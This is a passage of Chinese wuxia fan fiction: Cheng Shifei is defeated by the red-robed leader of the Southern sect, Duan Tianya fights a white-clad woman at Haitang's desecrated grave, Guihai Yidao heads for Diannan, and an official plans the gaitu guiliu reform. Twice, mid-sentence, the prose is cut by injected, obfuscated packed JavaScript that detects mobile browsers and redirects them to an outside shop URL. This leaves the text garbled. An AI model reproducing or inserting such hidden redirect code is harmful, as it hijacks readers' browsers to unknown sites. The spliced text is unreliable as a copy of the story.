眼见云萝落入下风,万年妻奴的成是非自然看不下去。他一个飞身跳入圈中,一面用身躯护住云萝,一面使出一套少林寺伏虎拳法。铁拳对利刃,成是非先以腕力巧妙拨开一名黑衣护卫的刀锋,一记凤眼拳打中他的胸口,只打得他口吐白沫。四角已破,另外三人见势不妙,便一齐攻来。哪料成是非身法更快,左脚一招扫堂腿扫断一人胫骨,右手一记窝心拳打得一人飞上半空,随后双掌平推,正中最后一人胸腹,推得他“轰隆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292466|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一声撞上崖壁,竟在石壁上印出一道人形。 “让你欺负我老婆!四个大男人打一个女人,算什么英雄好汉?” “那就由老身来讨教一番!” 话音未落,原本在一旁观战的老妇人,突然从腰间抽出一条藤鞭,大力一挥,朝成是非当头劈下。成是非抱着云萝一闪,藤鞭擦着耳畔划过,击中一块山岩。只听一声巨响,碎石如粉,一块丈高的岩石被劈成两半。 “哇!老婆婆,你火气这么大,要不要我煮碗凉茶给你喝?” 老妇人并未理睬,只一旋身挥手,藤鞭再次袭来。只见老妇人一手挥舞藤鞭,一手仍是捧着凤仙花,脚步灵活,身法优雅,藤鞭在她手中,动如灵蛇,快如闪电,转瞬间,已将成是非周身笼罩在鞭影之中,且其劲力之强,每一鞭都带着呼呼风声。成是非被困在狂风骤雨般的鞭法之中,左闪右避,无法突破,惊讶于这鞭法异常刁钻毒辣,就如同一条灵活的毒蛇,总能从意想不到之处窜出,迫得成是非狼狈应对,其中好几鞭擦过他的身体,撕破他的衣衫,虽未打到身上,仍觉得辣辣作痛。 乖乖!都说苗疆女子性格泼辣,却没想到连老婆婆也如此厉害,成是非心想,输给女人就算了,若是败在一个老婆婆手下,且不说郡主老婆要怎样数落自己,他日传回护民山庄,自己怕是没有脸面再拿黄字紫玉令牌。还有,从方才到现在,轿中妇人纹丝不动,镇定自若。当武学修为达到一定程度,即可判断对手深浅,成是非虽然一贯嘻嘻哈哈,看似只知玩乐,但到底是护民山庄庄主之一,经过几年历练,见识增长。他察觉到轿中妇人内息沉稳,声音中气十足,即知她是武林高手。眼下自己对战老婆婆尚且吃力,久战下去,倘若妇人加入战局,更是麻烦,倒不如速战速决。想到这里,成是非把心一横,真气聚于丹田,大喝一声: “金刚不坏神功——” 霎时间,金光乍现,藤鞭落下,却像抽打在铜墙铁壁之上,未伤分毫,反而被一股极大的内力反弹回来。老妇人被震得脚步不稳,成是非趁机抓着鞭稍,金刚不坏神功乃天下第一奇功,变身之后,不仅刀枪不入,且力抵千钧,成是非抓着鞭稍仅是随意一扯,老妇人已经受不住,一个趔趄,几乎扑倒。 “金刚不坏神功,可笑!” 说时迟那时快,矮轿之中妇人飞身而出,右掌如刀,沿着长鞭横削成是非手腕。成是非有金刚不坏之身,就是真刀真枪尚且不怕,何况肉掌,于是索性不躲,抬臂一格。岂料红衣妇人身法诡异,如影如魅,看似掌削手腕,可霎忽之间,却一掌打中成是非的胸口。 只听“当”的一声巨响,如金钟撞击,群山回响。成是非不由得后退一步,松开鞭稍。成是非大吃一惊,他凭借金刚不坏神功,硬接一掌,并未受伤,却仍觉得胸中气血翻涌,可见红衣妇人内功修为在他之上。 陡遇强敌,成是非精神一振,当即施展拳法,强攻而上。他以崆峒派的“七伤拳”配合金刚不坏神功,拳势煊赫,力发千钧,而红衣妇人身如落花,在拳风激荡之下,左摇右摆,游身缠斗,霎时间,只见金光四射,红衣飘飘。 乍看之下,红衣妇人周身被罩在成是非的拳势之下,落入下风,实则不然。红衣妇人看似以掌对攻,招式之中包含拳、掌、爪、指等诸多变化,精妙无穷,且其身影如魅,诡异至极,往往能从意想不到的方位攻来。这还不止,红衣妇人每出一招,皆发出一股极强的潜力,将成是非的拳头震歪,是以二人此来彼往互攻百招,红衣妇人已有好几招都打在成是非身上,而成是非却连红衣妇人的衣角都未摸着。 战斗时移,成是非愈发心烦气躁,虽然他凭借金刚不坏神功,不惧对手攻势,但他连中几招,在招式上何止输了一筹。成是非也是心性骄傲的少年人,眼见红衣妇人神情自若,嘴角带着挑衅般的微笑,加之她的一对红袖招展翻飞,迷人视线,成是非愈发恼火,于是全然不顾防守,一对铁拳莽冲直撞,接连抢攻。 可这正中红衣妇人下怀,只见红衣妇人红袖一挥,向成是非面上拂去,成是非以为这是虚招,毫不防备,岂料红衣妇人忽然从袖中伸出双指,俨如毒蛇亮牙,以一股阴寒之气射向成是非双眼。成是非虽有金刚不坏之身,但双眼是人身要害,成是非下意识地闭上双眼,一记“凤点头”躲过,但攻势不减,仍是右拳向前一冲。可忽然间,成是非听见一声银铃般的笑声,睁眼一看,他的右拳已被红袖缠住,动弹不得。 成是非大为着脑,周身内力灌入右臂,奋力一扯,红袖碎裂,化为片片蝴蝶。可成是非也不由得身形一晃,红衣妇人顺势横肘一撞,迫得成是非后退一步,左胁空门大开,红衣妇人并指如戟,点中成是非左侧腋下极泉穴。 霎时间,成是非只觉得一股寒流涌入体内,沿经脉四窜,周身发冷,如坠冰渊,原本聚于丹田的热气登时四散,一股浊气冲上脑门,口中鲜血喷薄而出。 “成是非!”云萝失声尖叫。 “你……你怎么会破解我的金刚不坏神功?” “笑话!”红衣妇人得意地看着一脸不可置信的成是非,笑道,“金刚不坏神功原本就是南教初代教主玉龙仙客所创绝学,我身为现任教主,怎会不知破解之法?拿下那女人!” 红衣妇人一声令下,老妇人再度袭来。成是非赶紧将云萝护在身后,拼尽最后的内力。 “昆仑烈焰掌——” 随着一声大喝,成是非双掌平推,霎时间,热浪卷地,飞沙走石。红衣妇人挥袖一拂,哈哈大笑,全然不惧,老妇人则连退几步,其他人更加难以抵挡。尤其是拉车马儿,原本已因战斗受惊,眼下再见烈焰热浪,彻底乱了性子,扬蹄长啸。山川险峻,道路本就狭窄,马儿带动板车连连后退,车轮陷落崖边,马儿支撑不住,连带着车上棺材一并跌落深谷。 棺材顺着岩壁跌落,受到山石撞击,棺盖打开,一抹白色人影由棺中掉出,如同一面白纱,悠悠坠落谷底。 云萝眼尖,依稀看见白衣之人面貌,心中大惊。 “快跑!” 成是非顾不得许多,一把抱住云萝,施展一招武当梯云纵,飞身逃走。 成是非逃得飞快,一路狂奔至驿馆,才敢放下云萝。云萝惊魂未定,却还是不忘看着深谷之下。 “你在找什么?” “我……我刚才好像看到……” “什么啊?” “我好像看到了……海棠?” 另一头,红衣妇人眼见成是非逃走,也不追赶,反而坐回了轿子之中,随行的老妇人上前,小心翼翼地问道。 “教主,是否要追?” “罢了,看在他父亲古三通的份上,这次放他一马。” “那老奴下谷搜寻?” “也算了,反正情蛊已经种在她的身上,由她去吧!我倒想看看,春梦了无痕的弟子能够闯出什么名堂?” 矮轿内,红衣妇人冷冷一笑,这笑容妩媚至极,却又透着深深的恶意,当真如蛇蝎美人。 “对了,阿羽有什么消息?” “圣女回信,已过江陵,不日便可回到滇南。” “段天涯、归海一刀、上官海棠,朱无视的义子义女,再加一个古三通的儿子成是非,等天地玄黄四大密探聚齐,好戏就要开始了!” 3. 翩翩佳公子 悠悠思远道 再将时间回溯。 正月十六,段天涯在午门为成是非、云萝送行之后,返回护民山庄。正月时节,并无太多公务,天涯简单批阅几封公文,又去照看朗儿学业,待一切料理完毕,他拎上一盒糕点,悄悄由后门走出。 城郊灞川杨柳林内,有一座坟冢,其墓碑上铭刻“爱妻海棠之墓归海一刀敬立”。海棠死时,一刀亲自为其下葬,他说海棠生前喜欢清静,又爱美景,葬在此处,可看流水潺潺、杨柳依依。神侯谋反被平叛之后,他们也没有为海棠再迁坟茔,一刀不希望海棠再回到护龙山庄,天涯心里明白,十几年的教养授业之恩,多少忠肝义胆皆化为权势之争的工具,往事已矣,也不必再回伤心之地。 思于此,天涯不禁轻叹一声。这一年来,天涯似乎总是叹气,原本不过三十出头的年纪,两鬓已然平添几缕新白。但此时,他的忧愁转为惊讶,进而愤怒,手中糕点也摔落在地。 天涯站在树林中,远远望着海棠坟茔原本所在之处,却只见一片狼藉,汉白玉墓碑裂作两半,原本封土的大理石板被劈开,新泥四散,坟中已空无一物。这还不止,此时此刻,一名白衣女子正伏在坟前,以剑挖土。 一时之间,天涯只觉得热血冲顶,一股杀气仿佛由周身升腾而起,强烈的恨意化为怒喝。 “你是谁?” 白衣女子被吓得猛然一震,回头一看,惊道: “你是……段天涯?” 这一声惊叹,坐实了天涯心中猜想。天涯当机立断,拔出腰带之下的精钢软剑,银虹飞舞,横削白衣女子玉颈。白衣女子反应迅疾,提剑一挡,只听“叮”的一声,火星四溅,二人皆感虎口发麻。 “段大侠,请听我说!” “有话随我回护民山庄再说吧!” 天涯回拒得十分决绝。其实,天涯并非好勇斗狠之人,怎奈事关海棠。天涯、一刀、海棠皆是铁胆神侯自小调教而出的大内密探,三人一同长大,情如手足,加之海棠是被天涯的妻子飘絮所杀,令天涯更感愧疚。一年前,一刀离京之时,拜托天涯照管海棠坟茔,天涯一口答应,如今却令海棠的坟茔遭奸人毁坏,尸骨不翼而飞。倘若无法追回海棠的尸骨,查出幕后凶手,为海棠报仇,天涯只怕无颜面对一刀,唯有切腹自尽。 这还不止,天涯作为大内密探受训多年,自有见识,他一看断裂的墓碑,即知这是被人以浑厚掌力劈断,有如此功力之人定然来头不小。于是天涯一见白衣女子在海棠坟前掘土,立刻出招试探,一试之下,即知白衣女子修为与自己相差无几。海棠生前不爱金银财宝,因此死后坟茔也无名贵随葬之物,而白衣女子有如此高强武艺,自然也不可能是鼠窃狗偷的盗墓贼,加之她能一眼认出天涯,如此想来,即使不是她亲手毁墓,她也与幕后之人脱不了干系。高手相拼,胜负往往只在一线之间,眼下白衣女子可能是此事唯一知情之人,定然不能放过,因此天涯不待白衣女子解释,连施狠招,意欲先将她擒住再说。 只见天涯手腕一抖,剑光暴长,手中长剑竟化为一条柔软灵活的银蛇,卷缠白衣女子玉颈。白衣女子大吃一惊,她不知天涯这把精钢软剑乃大内秘宝,由宫廷铸剑师以百炼精钢锻造而成,薄如蝉翼,柔似绢物,世所罕见。精钢软剑原本进贡皇帝所用,只不过,有明一代,皇帝大多孱弱,致使宝剑沦为装饰之物。三十年前,尚是十三皇子的铁胆神侯朱无视因在秋猎场中拔得头筹,当时的皇帝一时兴起,就将这把精钢软剑赐给朱无视,朱无视后来又传给义子段天涯,天涯平时将软剑卷缠腰间,藏在腰封之下,贴身携带,对敌之时,以精钢软剑柔软灵变、伸缩不定,配合他的幻剑奇招,攻敌不备。 天涯这一变招防不胜防,白衣女子眼见避无可避,却临危不乱,剑光一凝,直刺天涯咽喉。如此一来,若天涯剑光一圈,白衣女子必然人头落地,可天涯也会被刺穿咽喉。眼下毫无线索,天涯自然不愿杀死白衣女子,更不愿与她两败俱伤,于是他撤剑横削,白衣女子提剑上撩,双剑再度相碰,又是一声脆响,二人各自横跃一步。 白衣女子飞身欲逃,可天涯早有预料,身形一纵,跃至白衣女子上空,剑光飞舞,剑花抖落,犹如万千银蛇盘旋,登时将白衣女子周身笼罩在剑势之下。白衣女子似乎不愿与天涯争斗,张口欲辩,可形势不容。于是她毅然出剑,一招“后羿射日”,疾刺天涯左胁麻穴。天涯身形一扭,剑招再变,银光匝地,依旧封住白衣女子退路,白衣女子亦不示弱,果断反击。 转眼之间,二人已连过数十招,皆是运剑如风,天涯胜在剑法变幻难测、凝练稳重,兼而有之,白衣女子虽招式不及天涯精妙,但身法灵巧,轻功卓绝,只见她白衣飘飘,身如落花,在剑光之中穿梭往来,优雅至极。 乍看之下,二人在招式上平分秋色,可论内力,天涯略胜一筹。天涯看出端倪,抓紧施为,每一剑都加重内力,果然,不过数十招,白衣女子被震得手臂酸麻,身法已不如最初那般灵巧。可她毫不慌乱,仍是沉稳应对。天涯不禁暗暗佩服,心想: “护民山庄情报网遍及天下,如今江湖上叫得出名头的高手,护民山庄皆有卷宗备案,我统统阅览过,这女子身手如此了得,为何我却完全看不出她的来头?还有,她为何要掘海棠的坟?她似乎要有话要说,难道她真的不是敌人?” 如此一想,天涯不由得剑法稍缓,而正是这一瞬间的犹豫,令白衣女子有机可乘。只见她长剑一晃,似右忽左,冷不防搭着天涯的剑身,使出内家“粘”字诀,将天涯的剑锋引至外门,随即并指如戟,连点天涯肩上、胁下大穴。可她似乎小看了天涯,亦或是小看了这把精钢软剑,天涯长剑被封在外门,眼看要被点中穴道,他却毫不慌乱,手腕一抖,剑如灵蛇,转弯刺向白衣女子太阳穴。岂知这一下也在白衣女子意料之中,就在间不容发之际,白衣女子身形一纵,足尖一点剑尖,跳出剑圈。 白衣女子本就轻功了得,再借力跃起,当真身如离弦之箭,天涯无论如何也追之不及。可段天涯是何许人也?他自小奉命远赴东瀛学习忍术,不仅武艺高超,更是忍术精湛,除了精钢软剑以外,他身上还藏有许多忍具。只见他左手一扬,袖中飞出一段铁链,缠住白衣女子脚踝。白衣女子大吃一惊,可她临危应变,忽地纤腰如柳叶般凌空一折,长剑回刺,直指天涯胸口“璇玑穴”。 白衣女子这一招于败中、险中求胜,绝难预料,眼见长剑刺到,天涯非得后退闪躲,白衣女子意在于此。岂料天涯不躲,反而横剑一挡。白衣女子心道不妙,她着急脱困,故而这一剑施予全力,她看天涯长剑柔软,决计难以抵挡,她并不想伤害天涯,可若要撤招,已然来不及。 岂料“当”的一声闷响,天涯的长剑未损分毫,可白衣女子的剑尖却被磕出一道豁口,她亦被震得手臂酸麻。原来,天涯的长剑虽柔软,却也是百炼精钢所铸,若以极高的内力贯透,则可刚如金铁。天涯凭借这一神兵利器接下一剑,同时使出一招“卸”字诀,足尖一点,同样借力跃起,左手一扬,发出无数铜钱,打向白衣女子周身大穴。 白衣女子身形凌空,手臂酸麻,决计无法抵挡闪躲。也是天涯不愿伤她,所以发出铜钱,若换作锋利的飞镖,白衣女子必定血洒柳林。 胜负似乎已见分晓,可就在一瞬间,只听“叮叮叮”满空连响,天涯发出的铜钱伴随着无数花瓣纷纷落下。天涯惊讶不已,心想这白衣女子还会妖术不成?紧接着,几道白影飞过,已将天涯围住。 天涯定睛一看,只见是三名同样白衣女子将他包围,另有一名白袍男子落在他的身前。这三名女子皆是正值妙龄,貌美如花,清一色身着白裙,稍有区别的则是在衣袖、裙角分别绣有兰、竹、菊三种图案,而和他比剑的女子衣裙上则绣有红梅。 “公子!”身着红梅的女子对着白衣男子抚剑一礼,满面愧色,“对不起,我来迟了,海棠她……她已被……” 白衣男子只是摆了摆手,对着海棠的坟墓出神,叹道: “这都是我惹下的冤孽!” 天涯越听越是不解,急躁道: “你们到底是谁?要做什么?” 白衣男子默然不语,只是转身面对天涯。天涯看清白衣男子相貌,只见他是一名将近四十岁的中年人,剑眉星目,俊朗非凡,白衣高冠,手执折扇,虽举手投足不同凡俗,但神情并无傲慢之色,反而周身散发着如同三月春风般的柔和气质。可就是这样一个看似儒雅谦和的贵公子,竟在转眼之间打落天涯所发出的十数枚铜钱,而且仅用花瓣。这份本事,还有这似曾相识衣着打扮,令天涯脑海中闪过一个大胆的想法,脱口而出问道: “请问你……前辈可是春梦了无痕,无痕公子?” 白衣男子默然点头。 说起春梦了无痕,在二十年前是与不败顽童古三通、铁胆神侯朱无视以及霸刀齐名的武林高人,以轻功暗器独步江湖,成名绝技是“漫天花雨洒金钱”,而他也是海棠的授业恩师。天涯自然转忧为喜,再问道: “前辈可是为海棠而来?难道……这些是前辈所为?” 天涯所说,自然指海棠坟墓被毁、尸骨被盗一事,岂料无痕公子反而沉重地摇了摇头。 “我的确是为海棠而来,但……这不是我做的!” 的确,无痕公子与海棠有师徒之情,如果他要起出海棠尸骨,大可好好地开坟,不必劈裂墓碑,弄得一地狼藉。从四周痕迹来看,下手之人倒似有深仇大恨。 “那会是谁?” 无痕公子默然不答。这时,身着红梅的女子从墓中拾起一枝红花,递到无痕公子面前,原来她方才以剑掘土是在找这个。无痕公子接下这枝红花,小心翼翼地捧在手中,眼中流露出无限的悲伤。 “前辈!” “这是……凤仙花!”无痕公子声音哽咽,仿佛用尽力气才能挤出几个字,“是魔教干的!” “魔教!” 听到这里,天涯不由得心头一紧。天涯当然知道魔教,他的在脑中立刻回忆起关于魔教的卷宗记载。魔教本名为南教,盘踞滇南,在百年前,由一代武学宗师玉龙仙客所创,繁盛至今,教徒逾万,成为滇南第一大帮。南教以凤仙花作为图腾,立派绝学为移花接木大法与化一掌,此外擅长蛊毒,因此被中原武林门派排挤,被贬为“魔教”。但在四十年前,第二代教主花傲寒曾与少林主持苦至大师决战至平手,因此列入武林八大门派之一。二十年前,前任教主花白龙联合七派高手,于太湖之畔决战古三通,力战而死。 说起二十年前太湖之战,江湖皆知是由不败顽童古三通约战少林、武当、峨眉、崆峒、昆仑、华山、魔教八派高手,结果是古三通取胜,杀尽八派高手。但事实上这一切的幕后真凶是铁胆神侯朱无视。朱无视与古三通曾是好友,却背信弃义,利用古三通与八派高手决斗的机会,先偷袭八派高手,用“吸功大法”吸尽八派高手功力,又将一切嫁祸给古三通。朱无视是天涯的义父,天涯原本对他十分崇拜,因此当得知这一真相之时,天涯几乎不愿面对。可天涯也是非分明之人,八派高手命丧太湖,古三通蒙受不白之冤,半生被囚天牢,虽然如今朱无视已然伏法,但总该还已逝之人一个公道。于是,天涯亲自修书,向八大门派说明当年真相,诚恳致歉,一来还古三通清白,二来尽力弥补与八大门派的关系。其中,少林、武当、峨眉、崆峒、昆仑、华山七派因敬畏护民山庄,加之时过境迁,无意再添仇怨,纷纷回信表示不再追究。唯独魔教,至今毫无消息,想来是仍在记恨当年之事。可是当年之事全是朱无视一人所为,与海棠何干?若是真要父债子偿,天涯作为义子好生生活着,也该找他,为何要为难已经身故的海棠?到底是怎样的仇恨,至死不休? 天涯想不明白,也不愿再想。他只知道,如今海棠遗骨落入魔教手中,他必须追回。 “既知是魔教下手,那我们应该立刻赶往滇南!恰巧成是非也在前往的滇南的路上,我们尽快出发与他会合。有公子相助,合众人之力,定然能够夺回海棠!” 岂料无痕公子却摇了摇头,叹道: “江湖漂泊,恩怨几何?执着于怀,不如放下自在。” “公子此话何意?”天涯几乎不相信自己的耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292467|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,激动道,“难道你要坐视不理,任由海棠遗骨遭人凌辱吗?” “你可知道,当年南教始祖玉龙仙客是与天池怪侠齐名的绝世高人,所创绝学不逊于金刚不坏神功和吸功大法,而且南教在滇南势力庞大,恐怕还在护民山庄之上,你若贸然闯去,只怕是飞蛾扑火罢了!” “即使如此,天涯也必须一试!海棠是我的义妹,她生前我没有保护好她,我的妻子也犯下大错,我愧为兄长。若在海棠死后,放任她的遗骨遭人凌辱,我还有什么脸面对一刀?公子,海棠是你的徒弟,难道你忍心见她死后受辱,不念半点香火之情吗?” 无痕公子见天涯意志坚定,终于点了点头,眼中既有赞赏,又有感怀。 “重情重义,是非分明,你果然与那朱无视不同!只不过,莽撞行事,毫无益处。怪我来迟一步,眼下海棠已经落入南教手中,仅靠你我之力,也救不了海棠。若要救海棠,还需一人之力。” “谁?” “你的妻子,柳生飘絮。” 再说另一头。 自那日被救下之后,雨儿便一直和这位冷面刀客待在一起。一连十多日,他们泛舟漂泊于长江之上。孤男寡女,共处一船,若是落入凡夫俗子耳中,难免多嚼舌根,可江湖儿女,行事坦荡,自然问心无愧,而事实上,这位冷面刀客的确无任何非分之举,倒不如说,难以亲近。乌篷船虽小,却也足以容纳两人,可这位刀客却将船内空间尽数让给雨儿,自己则在甲板打坐,风吹日晒,不为所动。唤他,不见理睬;煮好饭食端给他,也不见他吃,要不是见他有时起身调□□帆,真要怕他化为一尊石像。或许还真是一尊石像,雨儿有时从后望他背影,只见他背脊挺直,身形修长,坐定如钟,晚霞倾洒,照出轮廓分明的侧脸,倒真像一尊青衣玉佛。但这尊佛,会使刀,会杀人。雨儿见过他杀人模样,也见过他在清晨练刀,就在不足方丈的狭小甲板上,如仙鹤独立,如雄鹰腾飞,一招一式,游刃有余,凌冽霸气,仿佛就连江上寒风都畏其三分。雨儿记起,那晚在海棠树下,黑衣人无礼挑衅,他不为所动,直到眼见海棠花苞凋零,才彻底发怒。少女不禁在想,如此武功,出自何门何派?如此情深,背后又该有怎样的故事? 转眼半个月后,他们已到达江陵。船停在郊野一处码头,冷面刀客先提刀下船,雨儿紧随其后,却不小心绊了一下。眼见即将摔倒,忽然一条长袖拂来,雨儿感觉心头一震,急忙站稳身形,抬头看去,正巧撞上冷面刀客的目光,只觉得他乌黑的双眸就像一片深海,冰冷深邃,不见一丝涟漪。 “快走吧!” “是……” 雨儿一路跟随,走进城里,踏入闹市,冷面刀客忽然停下脚步,开口问道: “你会骑马吗?” “啊?骑马?不会……” “从这儿改走陆路,如果沿官道走,自然道路平坦许多,却会多费一个月;如果骑马沿小径翻过巫山,过四川,最慢一个月能到滇南。你怎么选?” “滇南?恩公要去滇南?” “你不是要回家吗?” 看着这位冷面刀客坚定的眼神,一股莫名的温暖在少女心中油然而生,原以为要客死他乡,可就在她胡思乱想时,这位冷面刀客早已替她想好、打点好一切。 “接下来还有很长的路,你拿这锭银子置办些粮食衣物,然后回船上等我。” “素不相识,恩公为何要如此帮我?” “学武,是要行侠仗义,惩恶锄奸。” 这句话,他说得坚定诚恳,眼神却望向远方,仿佛在望着某位故人。 “能否……请教恩公高姓大名?” “我叫……上官海。” 分开之后,这位“上官海”沿着主街一路向西,直到一间棺材铺前停步。虽说棺材是人人需要,却非人人想要,但刀客与棺材铺似有不解之缘,毕竟人在江湖,算不清何时有个三长两短,活着时候打点后事,免去死后曝尸荒野之苦。这样一想,便无人在意走进棺材铺的冷面刀客。 走入店内,刀客将一枚紫玉令牌摆在柜台上,掌柜心领神会,将人迎入内室。 “属下拜见归海庄主。” 这家棺材铺是护民山庄在江陵的分舵,店内掌柜伙计皆为护民山庄所属暗探。这一年来,归海一刀虽然游历江湖,不涉朝堂,却也没有忘记自己护民山庄庄主、地字第一号密探身份与职责。 “不必多礼,京城有什么消息?” “呃……” “怎么?有什么不能告诉我?” “属下不敢……日前,圣上任命原辽阳布政使游赋得大人为滇南宣慰使,主持改土归流一事,成是非庄主、云萝郡主随行保护。” “哼,改土归流?皇叔已死、东厂颓势,阻挡大权在握的两大障碍消失,小皇帝也想创一番大事业。” 这一番话着实将掌柜吓得不轻。神侯死后,护龙山庄改为护民山庄,却也沿用旧制,情报系统、分属机构乃至各路下属暗探皆沿袭其旧。且不论神侯本身以权营私、谋反叛乱之罪,护龙山庄原是先帝下旨设立,行事宗旨为忠君护国,一众暗探、乃至天地玄三大密探更是以此为训,对于他们而言,皇帝是绝对权威,不容置疑。更何况,护龙山庄搜集朝中重臣情报隐私,其中不少人便是因为妄议朝政而落下把柄,岂料眼下反倒自家庄主对圣上言语不敬…… 掌柜这番心思被一刀一眼看穿,却不以为意,淡然道: “你可飞鸽传书告知成郡马,我不日将前往滇南,在那儿与他会合。” “属下遵命。” “还有,后院的汗血宝马我牵走了。” “庄主请!” 送走归海一刀,掌柜暗暗擦了一把冷汗。他只是护民山庄末流暗探之一,对于天地玄黄四大密探素来只有耳闻。听闻地字密探归海一刀为人冷淡寡言,行事雷厉风行,今日一见,当真是有过之而无不及。可他又听闻,归海一刀自一年前丧妻后便辞去朝职,游历江湖,今日到来,交代这等任务是为何?到底是怎样的缘由,将这位冷面刀客引往西南边陲、苗疆之地? 4. 微言晓大义 白云化苍狗 再将目光转向滇南。 自那日成是非被红衣妇人打伤,与云萝逃回驿馆,连续几日,成是非伤势时有反复,低烧不退,内息紊乱,云萝着急,附近没有好的大夫,他们又不敢贸然上路,若是路上再遇魔教中人,她没有把握可以保护成是非和孩子。如此一想,云萝便禁不住懊悔当日鲁莽。 “哎呀!郡主老婆你别着急嘛!你老公我不过是胳肢窝下挨了两下挠,觉得有些痒痒。而且,我也不是打不过,只不过看那女人长得不错……只是长得不错而已,跟郡主老婆你的花容月貌比起来差了好大一截!我就是看她年纪比较大,还有一个老婆婆,才故意相让,不是郡主老婆的错,你不用自责!” 毕竟已经为人父母,自然收敛以往任性,学会稳重与担当,成是非懂得安慰妻子,而云萝眼见丈夫伤重,也自觉不能坐以待毙,她决定冒险,独自前往丽州求救。不过,没等她出发,事情又有转机。原来宣慰使游赋得虽说带兵独自先行,却同时派人沿途等候,毕竟云萝贵为郡主,万一真有意外,他也承担不起。这厢斥候找到成是非一行,了解详情,立即回报,调兵随护,一来二去,五日后,成是非、云萝一行已到达丽州。 一到丽州,成是非一行被安顿入住宣慰司衙门,游赋得又请来丽州名医,一番诊治,针灸开药之后,成是非低烧减退,气血已平复许多。 “请问老先生,成郡马伤势何时能够痊愈?” “老夫已用银针为郡马疏导气血,再按方服药,休养一个月,便可无恙。” “一个月?那就来不及……大夫,可有方法令郡马快些康复?” “郡马受的是内伤,不能心急。” “那就麻烦了!” 虽然早知改土归流一事推行艰难,但游赋得料不到上任之初便有此等麻烦。虽然临行之前,游赋得担忧成是非性子不稳,但成是非毕竟是护民山庄庄主之一、黄字第一号密探,又得古三通真传,武功足可震慑一方,却不想被魔教中人重伤至此,由此可见魔教势力不容小觑,此番行事只怕难上加难。 “有什么麻烦?” 虽然游赋得拉着大夫走到屋外说话,但成是非、云萝乃习武之人,听力灵敏,自然逃不过他们的耳朵。 “游大人有何麻烦,但说无妨。” 成是非以内力发声,虽然人在屋内,听着却像是在耳边说话。游赋得心知无法搪塞,于是走回屋内,坦然答道: “实不相瞒,在下前日已派信使前去邀请滇南各地大小土司,于十日后齐聚宣慰司衙门,宣告朝廷改土归流之意。只是滇南民风尚武,各地土司也未必听服,恐生事端。赋得不才,武艺不精,原想请郡马爷席间坐镇,只是如今……” “为什么要请各路土司,黔国公不是只有一位吗?” “郡主有所不知,太祖时,黔国公受封总领滇南,但滇南地域辽阔,山岭重叠,各路土司划地为王,黔国公也不能全部掌握滇南,若不先收服各路土司,改土归流便无法推进。” “那……那就把他们全都抓起来,若不听旨,便是谋反,杀了了事!” “不行!此番改土归流,当以安抚为主。一来,滇南实行土司制度已久,势力根深蒂固,若贸然行事,激怒各路土司,联合造反,势必加速滇南分裂,动摇大明根基;二来,滇南地势险峻复杂,一旦反叛,朝廷派兵,短期不能平叛,战火延绵,只会令国库虚耗,百姓蒙难;三来,黔国公自太祖时率众归服,百年来治理滇南未有劣迹,若无罪责,便随意擒拿,于理不合,只能加剧民怨。” “哎呀!这也不行,那也不行,既然黔国公治理好好的,干嘛非要改土归流?” “改土归流乃是圣上旨意,势在必行。而且,治理良好不代表可以长远实行。滇南归服大明已有百年,却一直是化外之地。如今,滇南与中原商旅渐兴,若不实行与中原相同制度,如何保证商旅安全?而且,长期以来,各路土司强占土地,掠人为奴,撤销土司,设立流官,可让滇南百姓分得田地,均定赋税,也可加强朝廷管理,稳固西南边陲。” “你说了这么多,但以成是非的伤,十天后怎么……” “好了!”成是非握着云萝的手,云萝明明争得面红耳赤,双手却十分冰冷,成是非调动内力,试图温暖这双冰冷的手,“我知道郡主老婆你是心疼我,可皇上派我来就是为了保护游大人,而且我也向皇帝大舅子保证过,现在怎么能因为一点小伤推卸责任?再说了,游大人也说了,来的是一些地方土司,又不是武林高手,我都不用金刚不坏神功,他们要敢胡来,我一招打狗棒法就能把他们打得服服帖帖,不用替我担心!” “可是……” “哎呀,好老婆,你忘了我之前和你说的吗?你是大明郡主,我是护民山庄庄主,咱们平日里好吃好喝,不用像平头老百姓一样计较柴米油盐,如今到了要我履行职责的时候,我岂能像个缩头乌龟一样躲起来?你也不希望下半辈子对着一个没担当的胆小鬼老公吧?” 本想再多劝几句,可云萝感受到双手传来温暖的内力,再对上成是非坚定的眼神,她知道自己无法阻止丈夫的决心,只好点头答应。 “如此,便有劳郡马爷!还请郡马爷这几日好好休息,到时我会派人来请。” “那就麻烦游大人了!” 望着游赋得离去的背影,云萝心中还是不免忧虑。以往,云萝一向不理朝中之事,也不懂改土归流所谓何物,原本只是坐月子烦闷,想着趁机出来游玩一番,却不想遇上这么多麻烦,早知道…… 这样想着,云萝忽然觉得双手又被握紧几分,看着成是非一贯玩世不恭的脸上带着一抹温和包容的微笑,心中又暖了几分。 正如游赋得所说,几日来,信使将改土归流旨意传遍滇南大小各地,一时间,人心浮动。毕竟,土司制度盛行已久,纵然弊病百出,却也不能说废就废,各路大小土司自不必说,就连百姓也是议论纷纷,莫衷一是。但滇南地域广阔,讯息不能准时传达每个地方,在山野深处,人们依旧过着自己的日子,就好比玉龙山下一户采药郎家,此时,他的全幅精力都放在一位陌生女子身上。 数日前,采药郎从雪川边上救回一名溺水白衣女子, 